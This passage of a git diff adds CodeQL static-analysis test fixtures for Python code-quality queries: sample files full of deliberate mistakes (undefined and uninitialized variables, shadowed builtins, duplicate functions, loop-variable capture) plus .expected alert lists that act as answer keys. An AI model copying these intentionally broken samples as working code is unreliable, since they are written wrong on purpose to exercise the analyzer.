+ if isinstance(x1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(x1) + except TypeError(msg): + print("Sorry:", msg) + print() + elif hasattr(x, 'co_code'): + disassemble(x) + elif isinstance(x, str): + disassemble_string(x) + else: + raise TypeError( + "don't know how to disassemble %s objects" % + type(x).__name__) + + +#Similar function with changed identifiers + +def dis5(z=None): + """splat classes, methods, functions, or code. + + With no argument, splat the last traceback. + + """ + if z is None: + distb() + return + if isinstance(z, types.InstanceType): + z = z.__class__ + if hasattr(z, 'im_func'): + z = z.im_func + if hasattr(y, 'func_code'): + y = y.func_code + if hasattr(z, '__dict__'): + items = z.__dict__.items() + items.sort() + for name, z1 in items: + if isinstance(z1, _have_code): + print("Disassembly of %s:" % name) + try: + dis(z1) + except TypeError(msg): + print("Sorry:", msg) + print() + elif hasattr(z, 'co_code'): + splat(z) + elif isinstance(z, str): + splat_string(z) + else: + raise TypeError( + "don't know how to splat %s objects" % + type(z).__name__) + + diff --git a/python/ql/test/query-tests/UselessCode/DuplicateCode/similar.py b/python/ql/test/query-tests/UselessCode/DuplicateCode/similar.py new file mode 100644 index 00000000000..8f36c5e65ed --- /dev/null +++ b/python/ql/test/query-tests/UselessCode/DuplicateCode/similar.py @@ -0,0 +1,63 @@ + + +def original(the_ast): + def walk(node, in_function, in_name_main): + def flags(): + return in_function * 2 + in_name_main + if isinstance(node, ast.Module): + for import_node in walk(node.body, in_function, in_name_main): + yield import_node + elif isinstance(node, ast.ImportFrom): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield FromImport(node.level, node.module, aliases, flags()) + elif isinstance(node, ast.Import): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield Import(aliases, flags()) + elif isinstance(node, ast.FunctionDef): + for _, child in ast.iter_fields(node): + for import_node in walk(child, True, in_name_main): + yield import_node + elif isinstance(node, list): + for n in node: + for import_node in walk(n, in_function, in_name_main): + yield import_node + return list(walk(the_ast, False, False)) + +def similar_1(the_ast): + def walk(node, in_function, in_name_main): + def flags(): + return in_function * 2 + in_name_main + if isinstance(node, ast.Module): + for import_node in walk(node.body, in_function, in_name_main): + yield import_node + elif isinstance(node, ast.ImportFrom): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield FromImport(node.level, node.module, aliases, flags()) + elif isinstance(node, ast.Import): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield Import(aliases, flags()) + elif isinstance(node, ast.FunctionDef): + for _, child in ast.iter_fields(node): + for import_node in walk(child, True, in_name_main): + yield import_node + return list(walk(the_ast, False, False)) + +def similar_2(the_ast): + def walk(node, in_function, in_name_main): + def flags(): + return in_function * 2 + in_name_main + if isinstance(node, ast.Module): + for import_node in walk(node.body, in_function, in_name_main): + yield import_node + elif isinstance(node, ast.Import): + aliases = [ Alias(a.name, a.asname) for a in node.names] + yield Import(aliases, flags()) + elif isinstance(node, ast.FunctionDef): + for _, child in ast.iter_fields(node): + for import_node in walk(child, True, in_name_main): + yield import_node + elif isinstance(node, list): + for n in node: + for import_node in walk(n, in_function, in_name_main): + yield import_node + return list(walk(the_ast, False, False)) diff --git a/python/ql/test/query-tests/Variables/capture/LoopVariableCapture.expected b/python/ql/test/query-tests/Variables/capture/LoopVariableCapture.expected new file mode 100644 index 00000000000..cc9ae7029d6 --- /dev/null +++ b/python/ql/test/query-tests/Variables/capture/LoopVariableCapture.expected @@ -0,0 +1,8 @@ +| test.py:5:9:5:20 | FunctionExpr | Capture of loop variable '$@' | test.py:4:5:4:23 | For | x | +| test.py:10:6:10:14 | Lambda | Capture of loop variable '$@' | test.py:10:5:10:36 | ListComp | i | +| test.py:42:6:42:14 | Lambda | Capture of loop variable '$@' | test.py:42:5:42:56 | ListComp | i | +| test.py:43:6:43:14 | Lambda | Capture of loop variable '$@' | test.py:43:5:43:56 | ListComp | j | +| test.py:45:6:45:14 | Lambda | Capture of loop variable '$@' | test.py:45:5:45:36 | SetComp | i | +| test.py:49:8:49:16 | Lambda | Capture of loop variable '$@' | test.py:49:5:49:38 | DictComp | i | +| test.py:57:6:57:14 | Lambda | Capture of loop variable '$@' | test.py:57:6:57:35 | GeneratorExp | i | +| test.py:62:10:62:18 | Lambda | Capture of loop variable '$@' | test.py:62:10:62:39 | GeneratorExp | i | diff --git a/python/ql/test/query-tests/Variables/capture/LoopVariableCapture.qlref b/python/ql/test/query-tests/Variables/capture/LoopVariableCapture.qlref new file mode 100644 index 00000000000..1e2a71cd6a7 --- /dev/null +++ b/python/ql/test/query-tests/Variables/capture/LoopVariableCapture.qlref @@ -0,0 +1 @@ +Variables/LoopVariableCapture.ql diff --git a/python/ql/test/query-tests/Variables/capture/test.py b/python/ql/test/query-tests/Variables/capture/test.py new file mode 100644 index 00000000000..480bc58862e --- /dev/null +++ b/python/ql/test/query-tests/Variables/capture/test.py @@ -0,0 +1,67 @@ + +def bad1(): + results = [] + for x in range(10): + def inner(): + return x + results.append(inner) + return results + +a = [lambda: i for i in range(1, 4)] +for f in a: + print(f()) + +#OK: +#Using default argument +def good1(): + results = [] + for y in range(10): + def inner(y=y): + return y + results.append(inner) + return results + +#Factory function +l = [] +for r in range(10): + def make_foo(r): + def foo(): + return r + return foo + l.append(make_foo(r)) + +#The inner function does not escape loop. +def ok1(): + result = 0 + for z in range(10): + def inner(): + return z + result += inner() + return result + +b = [lambda: i for i in range(1, 4) for j in range(1,5)] +c = [lambda: j for i in range(1, 4) for j in range(1,5)] + +s = {lambda: i for i in range(1, 4)} +for f in s: + print(f()) + +d = {i:lambda: i for i in range(1, 4)} +for k, f in d.items(): + print(k, f()) + +#Generator expressions are sometimes OK, if they evaluate the iteration +#When the captured variable is used. +#So technically this is a false positive, but it is extremely fragile +#code, so I (Mark) think it is fine to report it as a violation. +g = (lambda: i for i in range(1, 4)) +for f in g: + print(f()) + +#But not if evaluated eagerly +l = list(lambda: i for i in range(1, 4)) +for f in l: + print(f()) + +def odasa4860(asset_ids): + return dict((asset_id, filter(lambda c : c.asset_id == asset_id, xxx)) for asset_id in asset_ids) diff --git a/python/ql/test/query-tests/Variables/general/Global.expected b/python/ql/test/query-tests/Variables/general/Global.expected new file mode 100644 index 00000000000..073dea682ed --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/Global.expected @@ -0,0 +1 @@ +| variables_test.py:64:5:64:14 | Global | Updating global variables except at module initialization is discouraged | diff --git a/python/ql/test/query-tests/Variables/general/Global.qlref b/python/ql/test/query-tests/Variables/general/Global.qlref new file mode 100644 index 00000000000..c20333a006e --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/Global.qlref @@ -0,0 +1 @@ +Variables/Global.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.expected b/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.expected new file mode 100644 index 00000000000..159e6954819 --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.expected @@ -0,0 +1 @@ +| variables_test.py:57:1:57:10 | Global | Declaring 'g_x' as global at module-level is redundant. | diff --git a/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.qlref b/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.qlref new file mode 100644 index 00000000000..f12469499b7 --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/GlobalAtModuleLevel.qlref @@ -0,0 +1 @@ +Variables/GlobalAtModuleLevel.ql \ No newline at end of file diff --git a/python/ql/test/query-tests/Variables/general/ShadowBuiltin.expected b/python/ql/test/query-tests/Variables/general/ShadowBuiltin.expected new file mode 100644 index 00000000000..0035c96d0d7 --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/ShadowBuiltin.expected @@ -0,0 +1 @@ +| variables_test.py:7:5:7:7 | len | Local variable len shadows a builtin variable. | diff --git a/python/ql/test/query-tests/Variables/general/ShadowBuiltin.qlref b/python/ql/test/query-tests/Variables/general/ShadowBuiltin.qlref new file mode 100644 index 00000000000..d732a539e5f --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/ShadowBuiltin.qlref @@ -0,0 +1 @@ +Variables/ShadowBuiltin.ql diff --git a/python/ql/test/query-tests/Variables/general/ShadowGlobal.expected b/python/ql/test/query-tests/Variables/general/ShadowGlobal.expected new file mode 100644 index 00000000000..ae59529932f --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/ShadowGlobal.expected @@ -0,0 +1 @@ +| variables_test.py:14:5:14:7 | sh1 | Local variable 'sh1' shadows a global variable defined $@. | variables_test.py:6:5:6:7 | sh1 | here | diff --git a/python/ql/test/query-tests/Variables/general/ShadowGlobal.qlref b/python/ql/test/query-tests/Variables/general/ShadowGlobal.qlref new file mode 100644 index 00000000000..d3d632da035 --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/ShadowGlobal.qlref @@ -0,0 +1 @@ +Variables/ShadowGlobal.ql diff --git a/python/ql/test/query-tests/Variables/general/pytest/__init__.py b/python/ql/test/query-tests/Variables/general/pytest/__init__.py new file mode 100644 index 00000000000..8ab6454477d --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/pytest/__init__.py @@ -0,0 +1,4 @@ +#Fake pytest module for testing. + +def fixture(param): + return param diff --git a/python/ql/test/query-tests/Variables/general/random_string.py b/python/ql/test/query-tests/Variables/general/random_string.py new file mode 100644 index 00000000000..287eae49057 --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/random_string.py @@ -0,0 +1,17 @@ + +#ODASA-3688 +def generate_random_string(char_sequences, length): + random_string = "" + + # Two tests of the same variable to force splitting of the flow-graph + if char_sequences: + for char_seq in char_sequences: + pass + + def func_used(): + pass + + #Only use the variable on one of the split arms. + if char_sequences: + while len(random_string) < length: + random_string += func_used() diff --git a/python/ql/test/query-tests/Variables/general/variables_test.py b/python/ql/test/query-tests/Variables/general/variables_test.py new file mode 100644 index 00000000000..e623ee5244d --- /dev/null +++ b/python/ql/test/query-tests/Variables/general/variables_test.py @@ -0,0 +1,100 @@ + +__all__ = [ 'is_used_var1' ] + +#Shadow Builtin + +def sh1(x): + len = x + 2 #Shadows + len = x + 0 # no shadowing warning for 2nd def + return len + +#Shadow Global + +def sh2(x): + sh1 = x + 1 #Shadows + sh1 = x + 0 # no shadowing warning for 2nd def + return sh1 + +#This is OK +import module1 +def ok1(): + import module1 + +#Unused parameter, local and global + +def u1(x): + return 0 + +def u2(): + x = 1 + return 1 + +#These parameters are OK due to (potential overriding) +class C(object): + + @abstractmethod + def ok2(self, p): + pass + + def ok3(self, arg): + pass + +class D(C): + + def ok3(self, arg): + pass + +#Unused module variable +unused_var1 = 17 +unused_var2 = 18 +is_used_var1 = 19 +is_used_var2 = 20 + +def func(): + return is_used_var2 + +#Redundant global declaration +global g_x + +g_x = 0 + +#Use global + +def uses_global(arg): + global g_x + g_x = arg + +use(g_x) + +#Benign case of global shadowing: +if __name__ == "__main__": + #x is used as a local throughout this file + x = 0 + use(x) + +import pytest +#Shadow global in pytest.fixture: +@pytest.fixture +def the_fixture(): + pass + +#Use it +the_fixture(1) + +def test_function(the_fixture): + #Use it + return the_fixture + +#This is OK. ODASA-2908 +def odasa2908_global(g_x=g_x): + #Use arg cached in function object for speed + return g_x + +def odasa2908_builtin(arg, len=len): + #Use arg cached in function object for speed + return len(arg) + +#OK if marked as unused: +def ok_unused(unused_1): + unused_2 = 1 + return 0 diff --git a/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.expected b/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.expected new file mode 100644 index 00000000000..68d01f762f6 --- /dev/null +++ b/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.expected @@ -0,0 +1,7 @@ +| uselesscode_test.py:4:5:4:8 | mult | This assignment to 'mult' is unnecessary as it is redefined $@ before this value is used. | uselesscode_test.py:15:5:15:8 | mult | here | +| uselesscode_test.py:5:5:5:5 | x | This assignment to 'x' is unnecessary as it is redefined $@ before this value is used. | uselesscode_test.py:7:5:7:5 | x | here | +| uselesscode_test.py:28:7:28:10 | Mult | This assignment to 'Mult' is unnecessary as it is redefined $@ before this value is used. | uselesscode_test.py:37:7:37:10 | Mult | here | +| uselesscode_test.py:52:9:52:11 | bad | This assignment to 'bad' is unnecessary as it is redefined $@ before this value is used. | uselesscode_test.py:53:9:53:11 | bad | here | +| uselesscode_test.py:67:9:67:11 | bad | This assignment to 'bad' is unnecessary as it is redefined $@ before this value is used. | uselesscode_test.py:71:9:71:11 | bad | here | +| uselesscode_test.py:117:5:117:5 | x | This assignment to 'x' is unnecessary as it is redefined $@ before this value is used. | uselesscode_test.py:118:5:118:5 | x | here | +| uselesscode_test.py:117:8:117:8 | y | This assignment to 'y' is unnecessary as it is redefined $@ before this value is used. | uselesscode_test.py:118:8:118:8 | y | here | diff --git a/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.qlref b/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.qlref new file mode 100644 index 00000000000..293098be566 --- /dev/null +++ b/python/ql/test/query-tests/Variables/multiple/MultiplyDefined.qlref @@ -0,0 +1 @@ +Variables/MultiplyDefined.ql diff --git a/python/ql/test/query-tests/Variables/multiple/uselesscode_test.py b/python/ql/test/query-tests/Variables/multiple/uselesscode_test.py new file mode 100644 index 00000000000..49f367d6db3 --- /dev/null +++ b/python/ql/test/query-tests/Variables/multiple/uselesscode_test.py @@ -0,0 +1,128 @@ + +#Multiple declarations + +def mult(a): + x = 1 + y = a + x = 2 + #Need to use x, otherwise it is ignored + #(The UnusedLocalVariable query will pick it up) + return x + +def unique(): + pass + +def mult(x,y): + pass + +#OK for multiple definition +import M +M = none + +def _double_loop(seq): + for i in seq: + pass + for i in seq: + pass + +class Mult(object): + + pass + +class C(object): + + def m(self): + pass + +class Mult(object): + pass + +### Tests inspired by real-world false positives +def isStr(s): + ok = '' + try: + ok += s + except TypeError: + return 0 + return 1 + +# 'bad' actually *is* always redefined before being read. +def have_nosmp(): + try: + bad = os.environ['NPY_NOSMP'] + bad = 1 + except KeyError: + bad = 0 + return bad + +def simple_try(foo): + try: + ok = foo.bar + except AttributeError: + ok = 'default' + return ok + +def try_with_else(foo): + try: + bad = foo.bar + except AttributeError: + raise + else: + bad = 'overwrite' + return bad + +# This should be fine +def append_all(xs): + global __doc__ + __doc__ += "all xs:" + for x in xs: + __doc__ += x + +def append_local(xs): + doc = "" + doc += "xs:" + for x in xs: + doc += x + return doc + +#ODASA-4100 +def odasa4100(name, language, options = ''): + distro_files = [] + if language == 'distro-cpp': + distro_files = [ "file" ] + if distro_files: + emit_odasa_deps() + #Flow-graph splitting will make this definition unused on the distro_files is True branch + env = '' + if distro_files: + env = 'env "ODASA_HOME=' + _top + '/' + distro_path + '" ' + emit_cmd(env + "some other stuff") + +#ODASA-4166 + +#This is OK as the first definition is a "declaration" +def odasa4166(cond): + x = None + if cond: + x = some_value() + else: + x = default_value() + return x + + +#ODASA-5315 +def odasa5315(): + x, y = foo() # OK as y is used + use(y) + x, y = bar() # Not OK as neither x nor y are used. + x, y = baz() # OK as both used + return x + y + +@multimethod(int) +def foo(i): + pass + +@multimethod(float) +def foo(f): + pass + diff --git a/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.expected b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.expected new file mode 100644 index 00000000000..ed465bffae1 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.expected @@ -0,0 +1,6 @@ +| UndefinedGlobal.py:22:5:22:7 | ug2 | This use of global variable 'ug2' may be undefined. | +| UndefinedGlobal.py:23:5:23:5 | e | This use of global variable 'e' may be undefined. | +| UndefinedGlobal.py:27:5:27:12 | __path__ | This use of global variable '__path__' may be undefined. | +| UndefinedGlobal.py:123:5:123:7 | ug3 | This use of global variable 'ug3' may be undefined. | +| UninitializedLocal.py:5:13:5:15 | ug1 | This use of global variable 'ug1' may be undefined. | +| UninitializedLocal.py:22:9:22:11 | ug1 | This use of global variable 'ug1' may be undefined. | diff --git a/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.py b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.py new file mode 100644 index 00000000000..0438d8e84b3 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.py @@ -0,0 +1,176 @@ +from ud_helper import d +import ud_helper as helper +from ud_helper import * +try: + import __builtin__ as B +except: + import builtins as B +defined = 2 +#Monkey patch some builtins +B.__dict__["monkey1"] = 1 +setattr(B, "monkey2", 2) +B.monkey3 = 3 + +def f(parameter): + parameter + local = 3 + local + d # Explicitly from ud_helper + helper # Explicitly as import + a # Imlicitly from ud_helper + defined + ug2 # ERROR + e # ERROR Defined in ud_helper, but not in __all__ + int + float + __file__ #OK all files have __file__ defined + __path__ #ERROR only modules have __path__ defined + + len #Ok defined in builtins + monkey1 #Ok monkey-patched builtins + monkey2 #Ok monkey-patched builtins + monkey3 #Ok monkey-patched builtins + +import sys +if __name__ == '__main__': + if len(sys.argv) == 1: + print('usage') + sys.exit(0) + elif ('-s' in sys.argv): + server = sys.argv[2] + else: + server = '127.0.0.1' + server + +#Check that builtins are always defined even if conditionally shadowed. +bool + +if d: + bool = int + +bool +def t2(): + return bool + +def f(): + + global local_global + local_global = 1 + + local_global + +#ODASA-2021 +from elsewhere import gflags, a_function + + +def usage_and_quit(): + print("Usage: unusable") + sys.exit(1) + + +def main(): + + global from_hdb + try: + # Because of from_hdb, get_mp_hashes.py has a lot of extra unique flags + gflags.DEFINE_bool("from_hdb", False, "") + + from_hdb = gflags.FLAGS.from_hdb + + except Exception as ex: + usage_and_quit(str(ex)) + + if not from_hdb: + a_function() + +#ODASA-2432 +def globals_guard(): + if 'varname' in globals(): + f(varname) + +#Example taken from logging module +try: + import module1 + import module2 +except ImportError: + module1 = None + + +if module1: + inst = module2.Class() + +#Some possible false positives, observed in ERP5. +if 1: + pfp1 = 1 + +pfp1 + +def outer(): + global pfp2 + pfp2 = 2 + def inner(): + global pfp2 + pfp2 += 1 + +class Cls(object): + global pfp3 + pfp3 = 3 + def inner(): + global pfp3 + pfp3 += 1 + +def only_report_once(): + ug3 + ug3 + ug3 + ug3 + +#ODASA-5381 +from _ast import * + +try: + NameConstant +except NameError: + NameConstant = Name + +#ODASA-5486 +class modinit: + + global _time + import time + _time = time + try: + import datetime + _pydatetime = datetime.datetime + except ImportError: + # Set them to (), so that isinstance() works with them + _pydatetime = () + +del modinit + +# FP occurs in line below +def _isstring(arg, isinstance=isinstance, t=_time): + pass + +#ODASA-4688 +def outer(): + def inner(): + global glob + glob = 'asdf' + print(glob[2]) + + def otherInner(): + print(glob[3]) + + inner() + + +#ODASA-5896 +guesses_made = 0 +while guesses_made < 6: # This loop is guaranteed to execute at least once. + guess = int(input('Take a guess: ')) + guesses_made += 1 + +if guess == 1017: # FP here + pass + diff --git a/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.qlref b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.qlref new file mode 100644 index 00000000000..ea9f5a03842 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/UndefinedGlobal.qlref @@ -0,0 +1 @@ +Variables/UndefinedGlobal.ql diff --git a/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.expected b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.expected new file mode 100644 index 00000000000..f2782e7e888 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.expected @@ -0,0 +1,14 @@ +| UninitializedLocal.py:13:16:13:17 | u2 | Local variable 'u2' may be used before it is initialized. | +| UninitializedLocal.py:19:16:19:17 | u3 | Local variable 'u3' may be used before it is initialized. | +| UninitializedLocal.py:37:12:37:13 | u4 | Local variable 'u4' may be used before it is initialized. | +| UninitializedLocal.py:46:5:46:6 | u6 | Local variable 'u6' may be used before it is initialized. | +| UninitializedLocal.py:69:5:69:6 | u8 | Local variable 'u8' may be used before it is initialized. | +| UninitializedLocal.py:75:5:75:6 | u9 | Local variable 'u9' may be used before it is initialized. | +| UninitializedLocal.py:85:5:85:7 | u11 | Local variable 'u11' may be used before it is initialized. | +| UninitializedLocal.py:88:9:88:11 | u12 | Local variable 'u12' may be used before it is initialized. | +| UninitializedLocal.py:119:16:119:18 | u14 | Local variable 'u14' may be used before it is initialized. | +| UninitializedLocal.py:151:16:151:18 | u19 | Local variable 'u19' may be used before it is initialized. | +| UninitializedLocal.py:163:7:163:7 | x | Local variable 'x' may be used before it is initialized. | +| UninitializedLocal.py:176:16:176:16 | x | Local variable 'x' may be used before it is initialized. | +| UninitializedLocal.py:178:16:178:16 | y | Local variable 'y' may be used before it is initialized. | +| odasa3987.py:11:8:11:10 | var | Local variable 'var' may be used before it is initialized. | diff --git a/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.py b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.py new file mode 100644 index 00000000000..f8a8d76ad15 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.py @@ -0,0 +1,290 @@ + +class C: + + def m1(self): + y = ug1 + x = 1 + return y + + def m2(self, p): + return p + + def m3(self, x1): + return u2 + u2 = x1 + + def m4(self, x2): + if x2: + u3 = 1 + return u3 + +def f(): + y = ug1 + x = 1 + return y + +def g(x3): + def h(): + y = x3 + +def q(x4): + def h(): + y = x4 + x = 1 + +def j(u4): + del u4 + return u4 + +def k(x5): + x5 + 1 + del x5 + +def m(x6): + if x6: + u6 = 1 + u6 + #The following are not uninitialized, but unreachable. + u6 + u6 + +#ODASA-1897 +def l(x7): + try: + if f(): + raise Exception + mod_name = x7[:-3] + mod = __import__(mod_name) + except ImportError: + raise ValueError(mod_name) + + + +def check_del(cond): + u8 = 1 + if cond: + del u8 + else: + pass + u8 + if cond: + u9 = 1 + del u9 + else: + u9 = 2 + u9 + if cond: + x10 = 1 + del x10 + x10 = 2 + else: + x10 = 3 + x10 + u11 = 1 + del u11 + u11 + u12 = "hi" + del u12 + del u12 + +#x will always be defined. +def const_range(): + for i in range(4): + x = i + return x + + +def asserts_false(cond1, cond2): + if cond1: + x13 = 1 + elif cond2: + x13 = 2 + else: + assert False, "Can't happen" + return x13 + +#Splitting +def use_def_conditional(cond3): + if cond3: + x14 = 1 + x15 = 2 + if cond3: + return x14 + +def use_def_conditional(cond4, cond5): + if cond4: + u14 = 1 + x16 = 2 + if cond5: + return u14 + + +def init_and_set_flag_in_try(f): + try: + f() + x17 = 1 + success = True + except: + success = False + if success: + return x17 + +#Check that we can rely on splitting +def split_OK(): + try: + f() + x18 = 1 + cond = not True + except: + cond = not False + if not cond: + return x18 + +def split_not_OK(): + try: + f() + u19 = 1 + cond = not True + except: + cond = not False + if not not cond: + return u19 + +def double_is_none(x): + if x is not None: + v = 0 + if x is None: + return 0 + else: + return v + +#ODASA-4241 +def def_in_post_loop(seq): + j(x) + x = [] + for p in seq: + x = p + +#Check that we are consistent with both sides of if statement +#ODASA-4615 +def f(cond1, cond2): + if cond1: + x = 1 + else: + y = 1 + if cond2: + return x + else: + return y + +def needs_splitting(var): + if var: + other = 0 + if not var or other: #other looks like it might be undefined, but it is defined. + pass + +def odasa4867(status): + fail = (status != 200) + if not fail: + 1 + if not fail: + var = 2 + if not fail: + 3 + if not fail and not l(var): # Observed FP - var is defined. + 4 + fail = True # It is possible that this was interfering with splitting. + if not fail: # Not the same SSA variable as earlier + 5 + +def odasa5896(number): + guesses_made = 0 + while guesses_made < 6: # This loop is guaranteed to execute at least once. + guess = int(input('Take a guess: ')) + guesses_made += 1 + + if guess == number: # FP here + pass + +#ODASA 6212 +class C(object): + + def fail(self): + raise Exception() + +def may_fail(cond, c): + if cond: + x = 0 + else: + c.fail() + return x + + +def deliberate_name_error(cond): + if cond: + x = 0 + try: + x # x is uninitialised, but guarded. So don't report it. + except NameError: + x = 1 + return x # x is initialised here, but we would need splitting to know that. + + +from unknown import x +may_fail(x, C()) + + +def with_definition(x): + with open(x) as y: + y + +def multiple_defn_in_try(x): + try: + for p, q in x: + p + except KeyError: + pass + +# ODASA-6742 + +import sys +class X(object): + + def leave(self, code = 1): + sys.exit(code) + +class Y(object): + + def __init__(self, x): + self._x = x + + def leave(self): + self._x.leave() + +def odasa6742(cond, obj): + y = Y(X()) + try: + var = may_fail(cond, obj) + except: + y.leave() + var + + +#ODASA-6904 +def avoid_redundant_split(a): + if a: # Should split here + b = x() + else: + b = None + if b: # but not here, + pass + if b: # or here, because + pass + pass + try: # we want to split here + import foo + var = True + except: + var = False + if var: + foo.bar() #foo is defined here. diff --git a/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.qlref b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.qlref new file mode 100644 index 00000000000..f2d0e603554 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/UninitializedLocal.qlref @@ -0,0 +1 @@ +Variables/UninitializedLocal.ql diff --git a/python/ql/test/query-tests/Variables/undefined/import_star.py b/python/ql/test/query-tests/Variables/undefined/import_star.py new file mode 100644 index 00000000000..5bbf9171870 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/import_star.py @@ -0,0 +1,7 @@ + +#ODASA-4596 +from tokens import * + +#TOKEN_1 is defined in tokens, but we cannot determine that statically. +TOKEN_1 + diff --git a/python/ql/test/query-tests/Variables/undefined/module1.py b/python/ql/test/query-tests/Variables/undefined/module1.py new file mode 100644 index 00000000000..bf08ecae944 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/module1.py @@ -0,0 +1,2 @@ +#If we use the standard import form the test runner will import quite a lot of the standard library +os = __import__("os") \ No newline at end of file diff --git a/python/ql/test/query-tests/Variables/undefined/odasa3987.py b/python/ql/test/query-tests/Variables/undefined/odasa3987.py new file mode 100644 index 00000000000..9c3a5fa5b2f --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/odasa3987.py @@ -0,0 +1,17 @@ + +from somwhere import may_raise, value, SomeException + +def f(cond1, cond2): + try: + may_raise() + var = value() + except Exception: + if cond2: + var = 7 + if var == 1: + var = var + 1 + elif var == 2: + var +- 3 + if cond2: + pass + var = var + 4 # var must be defined to have passed line 11 diff --git a/python/ql/test/query-tests/Variables/undefined/odasa6418.py b/python/ql/test/query-tests/Variables/undefined/odasa6418.py new file mode 100644 index 00000000000..958433c4287 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/odasa6418.py @@ -0,0 +1,19 @@ + +import sys + +def bump_version(version): + try: + parts = map(int, version.split('.')) + except ValueError: + fail('Current version is not numeric') + parts[-1] += 1 + return '.'.join(map(str, parts)) + + +def fail(message): + print(message) + sys.exit(1) + +# To get the FP result reported in ODASA-6418, +#bump_version must be called (directly or transitively) from the module scope +bump_version() diff --git a/python/ql/test/query-tests/Variables/undefined/odasa6800.py b/python/ql/test/query-tests/Variables/undefined/odasa6800.py new file mode 100644 index 00000000000..b69d665c335 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/odasa6800.py @@ -0,0 +1,9 @@ +#We don't (yet) follow this import +fail = __import__("odasa%s" % 6418).fail + +def foo(x): + if x: + var = 0 + else: + fail('Current version is not numeric') + return var diff --git a/python/ql/test/query-tests/Variables/undefined/options b/python/ql/test/query-tests/Variables/undefined/options new file mode 100644 index 00000000000..b91afde0767 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/options @@ -0,0 +1 @@ +semmle-extractor-options: --max-import-depth=2 diff --git a/python/ql/test/query-tests/Variables/undefined/regression.py b/python/ql/test/query-tests/Variables/undefined/regression.py new file mode 100644 index 00000000000..1e2f12f28fd --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/regression.py @@ -0,0 +1,18 @@ +# Regression test for a false-positive in 'Uninitialized Local' + +def func(): + safe = 0 + for i in []: + safe = 1 + if True: + pass + print safe # wrongly flagged + +from module1 import * + +def func2(): + os + +def findPluginJars(dir): + return filter(lambda y: y, + (os.path.join(root, f) for root, _, files in os.walk(dir + '/plugins') for f in files)) diff --git a/python/ql/test/query-tests/Variables/undefined/tokens.py b/python/ql/test/query-tests/Variables/undefined/tokens.py new file mode 100644 index 00000000000..e3c7038eca6 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/tokens.py @@ -0,0 +1,11 @@ +TOKEN_0 = 0 +TOKEN_1 = 1 +TOKEN_2 = 2 +TOKEN_3 = 3 +TOKEN_4 = 4 +TOKEN_5 = 5 + +__all__ = [ "TOKEN_0" ] + +for i in range(1,6): + __all__.append("TOKEN_%d" % i) diff --git a/python/ql/test/query-tests/Variables/undefined/ud_helper.py b/python/ql/test/query-tests/Variables/undefined/ud_helper.py new file mode 100644 index 00000000000..d4cab7a6949 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/ud_helper.py @@ -0,0 +1,12 @@ + +def a(): pass + +def b(): pass + +def c(): pass + +def d(): pass + +def e(): pass + +__all__ = [ 'a', 'b', 'c' ] diff --git a/python/ql/test/query-tests/Variables/undefined/unknown_import.py b/python/ql/test/query-tests/Variables/undefined/unknown_import.py new file mode 100644 index 00000000000..217596ebee0 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/unknown_import.py @@ -0,0 +1,8 @@ + +from who_knows_what import * + +#Anything could be imported from who_knows_what +#So we have to assume the following could be defined +a +b +c diff --git a/python/ql/test/query-tests/Variables/undefined/uses_exec.py b/python/ql/test/query-tests/Variables/undefined/uses_exec.py new file mode 100644 index 00000000000..8a78c8e46d1 --- /dev/null +++ b/python/ql/test/query-tests/Variables/undefined/uses_exec.py @@ -0,0 +1,8 @@ +from other import setup + +exec('x/_version.py') + +setup( + name='x', + version=__version__ + ) diff --git a/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.expected b/python/ql/test/query-tests/Variables/unused/SuspiciousUnusedLoopIterationVariable.expected new file mode 100644 